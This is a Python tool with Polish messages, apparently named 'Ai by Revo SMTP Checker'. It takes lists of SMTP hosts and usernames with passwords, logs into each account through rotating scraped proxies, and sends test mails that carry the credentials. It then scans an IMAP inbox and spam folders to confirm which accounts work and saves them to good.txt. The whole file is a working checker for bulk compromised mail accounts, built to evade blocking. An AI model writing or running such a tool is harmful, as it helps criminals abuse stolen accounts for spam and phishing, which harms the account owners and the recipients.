import smtplib
import ssl
import imaplib
import email
import threading
import time
import os
import datetime
import json
from concurrent.futures import ThreadPoolExecutor, as_completed
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from queue import Queue
from colorama import init, Fore
import socks
import socket
from tqdm import tqdm
import re
import requests
import signal
import sys

init(autoreset=True)

# ====================== KONFIGURACJA ======================
SETTINGS_FILE = "settings.json"
PROXY_SOURCES_FILE = "proxy_sources.txt"
BLOCKED_DOMAINS_FILE = "blocked-domains.txt"
RESUME_FILE = "resume_smtp_progress.txt"

print(Fore.CYAN + "Ai by Revo - SMTP Checker + Proxy + IMAP Verification [OPTIMIZED]")

socket.setdefaulttimeout(10)

MAX_WORKERS = 150
SEMAPHORE_LIMIT = 30
CONNECT_TIMEOUT = 20
SMTP_OP_TIMEOUT = 25
RETRY_COUNT = 1
BACKOFF_BASE = 3
PROXY_CHECK_TIMEOUT = 6
IMAP_POLL_INTERVAL = 11
IMAP_CONNECTION_TIMEOUT = 35
PROXY_BLOCK_DURATION = 600

ORIGINAL_SOCKET = socket.socket
thread_local = threading.local()

PROXIES = []
PROXY_LOCK = threading.Lock()
CURRENT_PROXY_INDEX = 0

BLOCKED_PROXIES = {}
BLOCKED_LOCK = threading.Lock()

BLOCKED_DOMAINS = set()

STOP_SCANNING_FLAG = False
ACTIVE_SOCKETS = set()
SOCKET_LOCK = threading.Lock()

# ====================== OBSŁUGA Ctrl+C ======================
def force_close_active_sockets():
    closed_count = 0
    with SOCKET_LOCK:
        for sock in list(ACTIVE_SOCKETS):
            try:
                sock.shutdown(socket.SHUT_RDWR)
                sock.close()
                closed_count += 1
            except:
                pass
        ACTIVE_SOCKETS.clear()
    tqdm.write(Fore.RED + f"[!!!] Siłowo zamknięto {closed_count} gniazd.")

def signal_handler(sig, frame):
    global STOP_SCANNING_FLAG
    STOP_SCANNING_FLAG = True
    tqdm.write(Fore.MAGENTA + "\n[!!!] Ctrl+C – kończę skanowanie...")
    force_close_active_sockets()
    time.sleep(0.5)

# ====================== FUNKCJE POMOCNICZE ======================
def validate_smtp_host(host, port):
    try:
        socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
        return True
    except:
        return False

def load_blocked_domains(filename):
    try:
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            domains = {line.strip().lower() for line in f if line.strip()}
            tqdm.write(Fore.CYAN + f"[i] Wczytano {len(domains)} zablokowanych domen.")
            return domains
    except FileNotFoundError:
        tqdm.write(Fore.YELLOW + f"[!] Plik {filename} nie istnieje – blokowanie wyłączone.")
        return set()

def load_proxy_sources(filename):
    try:
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            return [line.strip() for line in f if line.strip().startswith('http')]
    except FileNotFoundError:
        return []

def scrape_and_update_proxies(proxy_file):
    tqdm.write(Fore.CYAN + "[i] Aktualizacja listy proxy...")
    sources = load_proxy_sources(PROXY_SOURCES_FILE)
    if not sources:
        tqdm.write(Fore.RED + "[!] Brak źródeł proxy w proxy_sources.txt")
        return []

    try:
        existing = load_proxies(proxy_file)
    except FileNotFoundError:
        existing = []

    unique = set(existing)
    added = 0
    for url in tqdm(sources, desc="Scraping", leave=False):
        try:
            r = requests.get(url, timeout=10)
            found = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+', r.text)
            for p in found:
                if p not in unique:
                    unique.add(p)
                    added += 1
        except:
            pass

    final = list(unique)
    with open(proxy_file, 'w', encoding='utf-8') as f:
        f.write('\n'.join(final) + '\n')
    tqdm.write(Fore.GREEN + f"[+] Dodano {added} nowych proxy → łącznie {len(final)}")
    return final

def ask_proxy_mode(proxy_list):
    print(f"\nWczytano {len(proxy_list)} proxy.")
    print("1) Sprawdź proxy (wolniej, ale pewność)")
    print("2) Pomijam test (szybciej)")
    while True:
        c = input("Wybór (1/2): ").strip()
        if c == "1": return "check"
        if c == "2": return "skip"

def load_smtp_servers(filename):
    unique = set()
    servers = []
    initial_count = 0
    try:
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                initial_count += 1
                parts = line.strip().split('|')
                if len(parts) == 4:
                    t = tuple(parts)
                    if t not in unique:
                        unique.add(t)
                        servers.append(parts)
    except FileNotFoundError:
        pass
    removed_count = initial_count - len(servers)
    if removed_count > 0:
        tqdm.write(Fore.YELLOW + f"[!] Usunięto {removed_count} duplikatów serwerów SMTP z pliku wejściowego.")
    else:
        tqdm.write(Fore.CYAN + f"[i] Brak duplikatów serwerów SMTP w pliku {filename}.")
    return servers

def load_proxies(filename):
    try:
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            return [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        return []

def set_proxy_thread_local(proxy_type, proxy_str):
    if not hasattr(thread_local, 'original_socket'):
        thread_local.original_socket = socket.socket
    ip, port = proxy_str.split(':')
    types = {'http': socks.HTTP, 'https': socks.HTTP, 'socks4': socks.SOCKS4, 'socks5': socks.SOCKS5}
    socks.set_default_proxy(types[proxy_type], ip, int(port), rdns=False)
    socket.socket = socks.socksocket

def reset_socket_thread_local():
    global ORIGINAL_SOCKET
    socket.socket = ORIGINAL_SOCKET

def get_next_proxy():
    global CURRENT_PROXY_INDEX, BLOCKED_PROXIES
    now = time.time()
    with BLOCKED_LOCK:
        for p in list(BLOCKED_PROXIES):
            if BLOCKED_PROXIES[p] < now:
                del BLOCKED_PROXIES[p]
    with PROXY_LOCK:
        if not PROXIES: return None
        start = CURRENT_PROXY_INDEX
        while True:
            proxy = PROXIES[CURRENT_PROXY_INDEX % len(PROXIES)]
            if proxy not in BLOCKED_PROXIES:
                CURRENT_PROXY_INDEX = (CURRENT_PROXY_INDEX + 1) % len(PROXIES)
                return proxy
            CURRENT_PROXY_INDEX = (CURRENT_PROXY_INDEX + 1) % len(PROXIES)
            if CURRENT_PROXY_INDEX == start:
                return None

def test_proxy_worker_fast(proxy_type, proxy_str):
    try:
        proxies = {
            'http': f'http://{proxy_str}', 'https': f'http://{proxy_str}'
        } if proxy_type in ['http','https'] else {
            'http': f'socks{proxy_type[-1]}://{proxy_str}', 'https': f'socks{proxy_type[-1]}://{proxy_str}'
        }
        r = requests.get('http://www.google.com', proxies=proxies, timeout=PROXY_CHECK_TIMEOUT, allow_redirects=False)
        if r.status_code: return proxy_str
    except:
        pass
    return None

def test_proxy_ultra_fast(proxy_type, proxy_list):
    tqdm.write(Fore.YELLOW + "[i] Testowanie proxy (ULTRA FAST)...")
    good = []
    with ThreadPoolExecutor(max_workers=300) as ex:
        futures = {ex.submit(test_proxy_worker_fast, proxy_type, p): p for p in proxy_list}
        for f in tqdm(as_completed(futures), total=len(futures), desc="Test proxy", leave=False):
            r = f.result()
            if r: good.append(r)
    return good

def create_smtp_connection(host, port, connect_timeout, op_timeout):
    context = ssl.create_default_context()
    try:
        if port == 465:
            server = smtplib.SMTP_SSL(host, port, timeout=op_timeout, context=context)
        else:
            server = smtplib.SMTP(host, port, timeout=op_timeout)
            server.ehlo()
            server.starttls(context=context)
            server.ehlo()
        return server
    except Exception as e:
        if "certificate" in str(e).lower() or "hostname" in str(e).lower():
            tqdm.write(Fore.YELLOW + f"[!] SSL error dla {host} – fallback na brak weryfikacji certyfikatu")
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            if port == 465:
                return smtplib.SMTP_SSL(host, port, timeout=op_timeout, context=context)
            else:
                server = smtplib.SMTP(host, port, timeout=op_timeout)
                server.ehlo()
                server.starttls(context=context)
                server.ehlo()
                return server
        raise e

# ====================== FUNKCJE UŻYTKOWNIKA ======================
def load_settings():
    if os.path.exists(SETTINGS_FILE):
        with open(SETTINGS_FILE, 'r') as f:
            try: return json.load(f)
            except: pass
    return None

def save_settings(settings):
    try:
        with open(SETTINGS_FILE, 'w') as f:
            json.dump(settings, f, indent=4)
        tqdm.write(Fore.GREEN + f"[+] Konfiguracja zapisana w {SETTINGS_FILE}")
    except Exception as e:
        tqdm.write(Fore.RED + f"Błąd zapisu ustawień: {e}")

def get_user_input(default_settings=None):
    s = default_settings if default_settings else {}
    smtp_file = input(f"Enter SMTP servers filename (aktualnie: {s.get('smtp_file', 'brak')}): ") or s.get('smtp_file')
    threads_str = input(f"Enter number of threads (recommended: 80-150, aktualnie: {s.get('threads', '150')}): ") or str(s.get('threads', 150))
    threads = int(threads_str)
    to_email = input(f"Enter recipient email (aktualnie: {s.get('to_email', 'brak')}): ") or s.get('to_email')
    subject = input(f"Enter email subject (aktualnie: {s.get('subject', 'brak')}): ") or s.get('subject')
    content = input(f"Enter email content (aktualnie: {s.get('content', 'brak')}): ") or s.get('content')
    use_proxy = input(f"Use proxy? (y/n) (aktualnie: {'y' if s.get('use_proxy') else 'n'}): ").lower() == 'y'

    proxy_file = ''
    proxy_type = ''
    auto_update_proxies = False 
    if use_proxy:
        proxy_file = input(f"Enter proxy list filename (aktualnie: {s.get('proxy_filename', 'brak')}): ") or s.get('proxy_filename')
        proxy_type = input(f"Proxy type (http/https/socks4/socks5, aktualnie: {s.get('proxy_type', 'socks5')}): ").lower() or s.get('proxy_type')
        auto_update_proxies_input = input(f"Auto-update proxy (Scraping)? (y/n) (aktualnie: {'y' if s.get('auto_update_proxies') else 'n'}): ").lower()
        auto_update_proxies = auto_update_proxies_input == 'y'

    imap_server = input(f"IMAP server (aktualnie: {s.get('imap_server', 'brak')}): ") or s.get('imap_server')
    imap_user = input(f"IMAP user (aktualnie: {s.get('imap_user', 'brak')}): ") or s.get('imap_user')
    imap_pass = input("IMAP password: ") or s.get('imap_password')
    duration_str = input(f"Minutes to check inbox for replies (aktualnie: {s.get('duration', '5')}): ") or str(s.get('duration', 5))
    duration = int(duration_str)

    return {
        'smtp_file': smtp_file, 'threads': threads, 'to_email': to_email, 'subject': subject,
        'content': content, 'use_proxy': use_proxy, 'proxy_filename': proxy_file if use_proxy else '',
        'proxy_type': proxy_type if use_proxy else '', 'auto_update_proxies': auto_update_proxies if use_proxy else False,
        'imap_server': imap_server, 'imap_user': imap_user, 'imap_password': imap_pass, 'duration': duration
    }

# ====================== SEND EMAIL ======================
def send_email(smtp_info, to_email, subject, content, use_proxy, proxy_type, success_queue, semaphore):
    global STOP_SCANNING_FLAG
    if STOP_SCANNING_FLAG: return
    host, port, user, password = smtp_info
    server = None
    smtp_sock = None
    try:
        port = int(port)
    except:
        if not STOP_SCANNING_FLAG: tqdm.write(Fore.RED + f"[-] Nieprawidłowy port dla {host} - pomijam.")
        return
    if not validate_smtp_host(host, port): return

    unique_id = f"{host}|{port}|{user}|{password}"
    body = content + "\n\n[SMTP-ID] " + unique_id
    msg = MIMEMultipart()
    msg['From'] = user
    msg['To'] = to_email
    msg['Subject'] = subject
    msg['X-SMTP-ID'] = unique_id
    msg.attach(MIMEText(body, 'plain'))

    attempts = 0
    while attempts <= RETRY_COUNT and not STOP_SCANNING_FLAG:
        attempts += 1
        proxy = None
        try:
            if use_proxy and PROXIES:
                proxy = get_next_proxy()
                if not proxy:
                    if not STOP_SCANNING_FLAG: tqdm.write(Fore.RED + f"[-] {user[:35]}... -> Brak dostępnych proxy.")
                    break
                set_proxy_thread_local(proxy_type, proxy)
                if not STOP_SCANNING_FLAG: tqdm.write(Fore.CYAN + f"[i] Próba {attempts}/{RETRY_COUNT+1} dla {user[:35]}... via {proxy}")

            with semaphore:
                server = create_smtp_connection(host, port, CONNECT_TIMEOUT, SMTP_OP_TIMEOUT)
                if server and server.sock:
                    smtp_sock = server.sock
                    with SOCKET_LOCK:
                        ACTIVE_SOCKETS.add(smtp_sock)
                server.login(user, password)
                server.sendmail(user, to_email, msg.as_string())
                success_queue.put(unique_id)
                if not STOP_SCANNING_FLAG: tqdm.write(Fore.GREEN + f"[+] Sukces: {user[:35]}... (Próba {attempts}) {'via '+proxy if proxy else ''}")
                return
        except Exception as e:
            if STOP_SCANNING_FLAG: return
            error_msg = str(e)[:70]
            tqdm.write(Fore.RED + f"[-] Błąd dla {user[:35]}... (Próba {attempts}): {error_msg} {'via '+proxy if proxy else ''}")
            if attempts <= RETRY_COUNT:
                tqdm.write(Fore.YELLOW + f"[i] Ponawiam próbę...")
                time.sleep(BACKOFF_BASE)
            if proxy:
                with BLOCKED_LOCK:
                    BLOCKED_PROXIES[proxy] = time.time() + PROXY_BLOCK_DURATION
        finally:
            if smtp_sock:
                with SOCKET_LOCK:
                    if smtp_sock in ACTIVE_SOCKETS:
                        ACTIVE_SOCKETS.remove(smtp_sock)
            if use_proxy: reset_socket_thread_local()
            if server:
                try: server.quit()
                except: pass

# ====================== DYNAMICZNY + UNIWERSALNY IMAP_CHECK ======================
def imap_check(server, user, password, subject, duration_minutes, success_queue):
    MAX_IMAP_RETRIES = 3

    if not validate_smtp_host(server, 993):
        tqdm.write(Fore.RED + f"[IMAP ERROR] Nie można rozwiązać nazwy hosta IMAP: {server}")
        return

    id_pattern = re.compile(r'\[SMTP[-_\s]?ID\]\s*([^\s]+(?:\|[^\s]+)*)', re.IGNORECASE)
    found_ids = set()
    end_time = time.time() + duration_minutes * 60

    tqdm.write(Fore.CYAN + "[i] IMAP monitor running...")

    while time.time() < end_time:
        if STOP_SCANNING_FLAG: break
        mail = None
        retry_count = 0
        connected = False

        while retry_count <= MAX_IMAP_RETRIES:
            try:
                mail = imaplib.IMAP4_SSL(server, timeout=IMAP_CONNECTION_TIMEOUT)
                if mail.sock:
                    mail.sock.settimeout(IMAP_CONNECTION_TIMEOUT)
                mail.login(user, password)
                connected = True
                break
            except Exception as e:
                if mail:
                    try: mail.logout()
                    except: pass
                tqdm.write(Fore.RED + f"[IMAP CONNECTION ERROR] {str(e)[:70]} (Próba {retry_count + 1}/{MAX_IMAP_RETRIES + 1})")
                time.sleep(2 * retry_count + 1)
                retry_count += 1

        if not connected:
            tqdm.write(Fore.RED + "[IMAP ERROR] Brak połączenia – czekam...")
            time.sleep(IMAP_POLL_INTERVAL)
            continue

        try:
            status, folders = mail.list()
            target_folders = []
            if status == 'OK':
                for f in folders:
                    if not f: continue
                    parts = f.decode().split(' "/" ')
                    if len(parts) < 2: continue
                    folder_name = parts[-1].strip('"')
                    flags = parts[0]
                    if any(flag in flags for flag in ('\\Inbox', '\\Junk', '\\Spam', '\\Trash')) or \
                       any(name.lower() in folder_name.lower() for name in ['inbox', 'spam', 'junk', 'kosz', 'odebrane']):
                        target_folders.append(folder_name)
                if not target_folders:
                    target_folders = ["INBOX"]

            today = datetime.date.today().strftime("%d-%b-%Y")
            scanned = 0
            for folder in target_folders:
                try:
                    mail.select(folder, readonly=True)
                    result, data = mail.search(None, f'SINCE "{today}"')
                    if result == 'OK' and data and data[0]:
                        ids = data[0].split()
                        scanned += len(ids)
                        for msg_id in ids:
                            try:
                                res2, msg_data = mail.fetch(msg_id, '(BODY.PEEK[HEADER.FIELDS (SUBJECT X-SMTP-ID)] UID)')
                                if res2 != 'OK' or not msg_data or not msg_data[0]: continue
                                raw_header = msg_data[0][1]
                                msg_header = email.message_from_bytes(raw_header)

                                if subject.lower() not in msg_header.get('Subject', '').lower(): continue

                                smtp_id = msg_header.get('X-SMTP-ID')
                                if smtp_id:
                                    smtp_id = smtp_id.strip()
                                else:
                                    res2_full, msg_data_full = mail.fetch(msg_id, '(RFC822)')
                                    if res2_full == 'OK' and msg_data_full and msg_data_full[0]:
                                        raw_full = msg_data_full[0][1]
                                        msg = email.message_from_bytes(raw_full)
                                        body_text = ''
                                        for part in msg.walk():
                                            if part.is_multipart() or (part.get('Content-Disposition') and 'attachment' in part.get('Content-Disposition', '')):
                                                continue
                                            try:
                                                payload = part.get_payload(decode=True)
                                                if payload:
                                                    body_text += payload.decode(part.get_content_charset() or 'utf-8', errors='ignore')
                                            except: pass
                                        m = id_pattern.search(body_text)
                                        if m: smtp_id = m.group(1).strip()

                                if smtp_id and smtp_id not in found_ids:
                                    found_ids.add(smtp_id)
                            except: pass
                except: pass

            if scanned > 0:
                tqdm.write(Fore.CYAN + f"[i] Aktualnie znaleziono {len(found_ids)} potwierdzonych SMTP")
            else:
                tqdm.write(Fore.CYAN + "[i] Brak nowych wiadomości – czekam...")

        except Exception as e:
            tqdm.write(Fore.RED + f"[IMAP ERROR] {str(e)[:70]}")

        finally:
            if mail:
                try: mail.logout()
                except: pass

        time.sleep(IMAP_POLL_INTERVAL)

    try:
        while True: success_queue.get_nowait()
    except: pass
    for sid in found_ids: success_queue.put(sid)

    if not STOP_SCANNING_FLAG:
        tqdm.write(Fore.GREEN + f"[+] IMAP monitoring finished. Found {len(found_ids)} confirmed deliveries.")

# ====================== MAIN ======================
def main():
    global PROXIES, BLOCKED_DOMAINS, STOP_SCANNING_FLAG
    signal.signal(signal.SIGINT, signal_handler)

    print(Fore.CYAN + "\n" + "="*60)
    print(Fore.CYAN + " Fast & Reliable SMTP Checker")
    print(Fore.CYAN + " Optimized for speed while maintaining reliability")
    print(Fore.CYAN + "="*60 + "\n")

    current_settings = load_settings()
    settings = {}
    if current_settings:
        print(Fore.CYAN + f"[i] Znaleziono plik {SETTINGS_FILE}.")
        choice = input("Chcesz użyć zapisanych danych (s) czy wprowadzić nowe (n)? (s/n): ").lower()
        if choice == 's':
            settings = current_settings
            print(Fore.GREEN + "[+] Używam zapisanej konfiguracji.")
        else:
            settings = get_user_input(current_settings)
            save_settings(settings)
    else:
        settings = get_user_input()
        save_settings(settings)

    smtp_file = settings['smtp_file']
    threads = settings['threads']
    to_email = settings['to_email']
    subject = settings['subject']
    content = settings['content']
    use_proxy = settings['use_proxy']
    proxy_file = settings['proxy_filename']
    proxy_type = settings['proxy_type']
    auto_update_proxies = settings.get('auto_update_proxies', False)
    imap_server = settings['imap_server']
    imap_user = settings['imap_user']
    imap_pass = settings['imap_password']
    duration = settings['duration']

    BLOCKED_DOMAINS = load_blocked_domains(BLOCKED_DOMAINS_FILE)

    if use_proxy:
        proxy_list_raw = []
        if auto_update_proxies:
            proxy_list_raw = scrape_and_update_proxies(proxy_file)
        else:
            try:
                proxy_list_raw = load_proxies(proxy_file)
            except FileNotFoundError:
                tqdm.write(Fore.RED + f"Błąd: Plik proxy '{proxy_file}' nie został znaleziony.")
                return

        tqdm.write(Fore.CYAN + f"[i] Wczytano (lub zaktualizowano) proxy: {len(proxy_list_raw)}")
        mode = ask_proxy_mode(proxy_list_raw)

        if mode == "check":
            PROXIES = test_proxy_ultra_fast(proxy_type, proxy_list_raw)
            if PROXIES:
                with open("good_proxies.txt", "w", encoding="utf-8") as f:
                    f.write("\n".join(PROXIES) + "\n")
                tqdm.write(Fore.GREEN + f"[+] Zapisano {len(PROXIES)} działających proxy do good_proxies.txt")
            if not PROXIES:
                tqdm.write(Fore.RED + "Brak działających proxy. Kończę.")
                return
        else:
            PROXIES = proxy_list_raw

    smtp_servers_raw = []
    if os.path.exists(RESUME_FILE):
        tqdm.write(Fore.YELLOW + f"[i] Znaleziono plik wznowienia: {RESUME_FILE}.")
        choice = input("Czy chcesz wznowić skanowanie z tego pliku (y/n)? ").lower()
        if choice == 'y':
            smtp_servers_raw = load_smtp_servers(RESUME_FILE)
            tqdm.write(Fore.GREEN + f"[+] Wznowiono skanowanie. Wczytano {len(smtp_servers_raw)} serwerów.")
        else:
            smtp_servers_raw = load_smtp_servers(smtp_file)
    else:
        smtp_servers_raw = load_smtp_servers(smtp_file)

    tqdm.write(Fore.CYAN + f"\n[i] Wczytano {len(smtp_servers_raw)} serwerów SMTP (po usunięciu duplikatów).")

    temp_list = []
    blocked_count = 0
    for host, port, user, password in smtp_servers_raw:
        domain = user.split('@')[-1].lower()
        if domain in BLOCKED_DOMAINS:
            blocked_count += 1
        else:
            temp_list.append([host, port, user, password])
    smtp_servers_raw = temp_list
    tqdm.write(Fore.GREEN + f"[+] Zablokowano i pominięto {blocked_count} serwerów na podstawie listy domen.")

    tqdm.write(Fore.CYAN + "[i] Rozpoczynam wstępną walidację DNS hostów SMTP (bez użycia proxy)...")
    valid_smtp_servers = []
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {}
        for smtp_info in smtp_servers_raw:
            host, port, user, password = smtp_info
            try:
                port_int = int(port)
            except ValueError:
                continue
            future = executor.submit(validate_smtp_host, host, port_int)
            futures[future] = tuple(smtp_info)
        for future in tqdm(as_completed(futures), total=len(futures), desc="Walidacja DNS"):
            if future.result():
                valid_smtp_servers.append(list(futures[future]))
    smtp_servers = valid_smtp_servers
    tqdm.write(Fore.GREEN + f"[+] Walidacja DNS zakończona. {len(smtp_servers)}/{len(smtp_servers_raw)} hostów jest poprawnych.")
    if not smtp_servers:
        tqdm.write(Fore.RED + "Brak hostów SMTP z poprawnym rekordem DNS. Kończę.")
        return

    success_queue = Queue()
    semaphore = threading.Semaphore(SEMAPHORE_LIMIT)

    tqdm.write(Fore.CYAN + f"\n[i] Loaded {len(smtp_servers)} SMTP servers (Po walidacji DNS)")
    tqdm.write(Fore.YELLOW + f"[i] Starting with {threads} parallel threads")
    tqdm.write(Fore.GREEN + f"[i] Semaphore limit: {SEMAPHORE_LIMIT} (Ważne dla stabilności DNS)\n")

    smtp_to_process = {tuple(s): s for s in smtp_servers}
    executor = ThreadPoolExecutor(max_workers=threads)
    futures_dict = {executor.submit(send_email, smtp_info, to_email, subject, content, use_proxy, proxy_type, success_queue, semaphore): tuple(smtp_info) for smtp_info in smtp_servers}

    progress_bar = tqdm(total=len(futures_dict), desc="Checking SMTP")
    completed_count = 0
    while completed_count < len(futures_dict) and not STOP_SCANNING_FLAG:
        newly_completed = sum(1 for f in futures_dict.keys() if f.done()) - completed_count
        if newly_completed > 0:
            progress_bar.update(newly_completed)
            completed_count += newly_completed
        time.sleep(0.1)
    progress_bar.close()

    if STOP_SCANNING_FLAG:
        tqdm.write(Fore.MAGENTA + "[!!!] Wymuszam natychmiastowe zakończenie puli wątków...")
        executor.shutdown(wait=False)

    completed_keys_set = {k for f, k in futures_dict.items() if f.done()}
    for key in completed_keys_set:
        if key in smtp_to_process:
            del smtp_to_process[key]

    if smtp_to_process and not STOP_SCANNING_FLAG:
        tqdm.write(Fore.MAGENTA + f"[!!!] Zapisywanie {len(smtp_to_process)} nieprzetworzonych serwerów do {RESUME_FILE}...")
        with open(RESUME_FILE, 'w', encoding='utf-8') as f:
            for smtp_info in smtp_to_process.values():
                f.write("|".join(smtp_info) + "\n")
        tqdm.write(Fore.MAGENTA + f"[!!!] Zapis zakończony. Przechodzę do IMAP Check...")
    else:
        if not STOP_SCANNING_FLAG:
            tqdm.write(Fore.MAGENTA + "[!!!] Wszystkie zadania zostały ukończone. Kontynuuję do IMAP Check.")
        if os.path.exists(RESUME_FILE) and not STOP_SCANNING_FLAG:
            try:
                os.remove(RESUME_FILE)
                tqdm.write(Fore.CYAN + f"[i] Skanowanie zakończone normalnie. Usunięto plik wznowienia: {RESUME_FILE}.")
            except Exception as e:
                tqdm.write(Fore.YELLOW + f"[!] Ostrzeżenie: Nie udało się usunąć pliku wznowienia: {e}")

    tqdm.write(Fore.CYAN + "\n[i] Wysyłka zakończona. Rozpoczynam IMAP verification.")
    reset_socket_thread_local()
    imap_check(imap_server, imap_user, imap_pass, subject, duration, success_queue)

    good = set()
    while not success_queue.empty():
        good.add(success_queue.get())

    with open("good.txt", "w", encoding="utf-8") as f:
        for s in good:
            f.write(s + "\n")

    if not STOP_SCANNING_FLAG:
        tqdm.write(Fore.GREEN + f"\n[+] Zapisano {len(good)} działających SMTP do good.txt")
    print(Fore.CYAN + "="*60)
    print(Fore.CYAN + "Ai by Revo - koniec programu")
    print(Fore.CYAN + "="*60)

if __name__ == "__main__":
    main()
